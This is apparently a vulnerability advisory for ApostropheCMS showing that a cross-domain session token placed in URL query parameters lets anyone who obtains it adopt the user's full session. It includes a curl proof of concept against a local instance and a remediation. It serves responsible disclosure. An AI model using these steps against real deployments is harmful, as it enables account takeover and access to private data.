Summary Apostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including passport.user) with no credentials.

Details packages/apostrophe/modules/@apostrophecms/i18n/index.js: - Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (passport-bridge/index.js L557–593) places the token in the URL. - acceptCrossDomainSessionToken (L258–298) reads ?aposCrossDomainSessionToken, Object.assigns the stored session (cookie + passport.user) onto req.session, then nulls the cache entry under namespace @apostrophecms/i18n:cross-domain-sessions. - Middleware without before: is registered for every URL (express findModuleMiddlewareAndRoutes L820–879); verified with APOSLOGALLROUTES=1.

PoC 0) Anonymous baseline: admin-only draft → 403 1) Admin logs in legitimately (token minted into redirect URL): curl -c admin.cookies -X POST -H "Content-Type: application/json" \ --data '{"username":"admin","password":"adminpassword","session":true}' \ http://localhost:3100/api/v1/@apostrophecms/login/login 2) Attacker with NO credentials visits the leaked token URL: curl -c atk.cookies "http://localhost:3100/?aposCrossDomainSessionToken=HUNTINGTOKEN" → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie 3) Attacker reads admin-only content via adopted session: curl -b atk.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" → 200 adopted-session read -> Secret Private Page | secretData = TOP-SECRET-VALUE-abc123 4) Cache entry consumed (single-use): {"value":null}

Impact Session hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account's privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browser-access logs, browser history, and the Referer header when the destination host differs from the source (the intended use case). Single-use limits but does not remove the window.

Remediation — Deliver the token via a short-lived HttpOnly signed SameSite cookie rather than a query parameter; bind consumption to the exact source/destination host pair, expire in seconds, and never log it.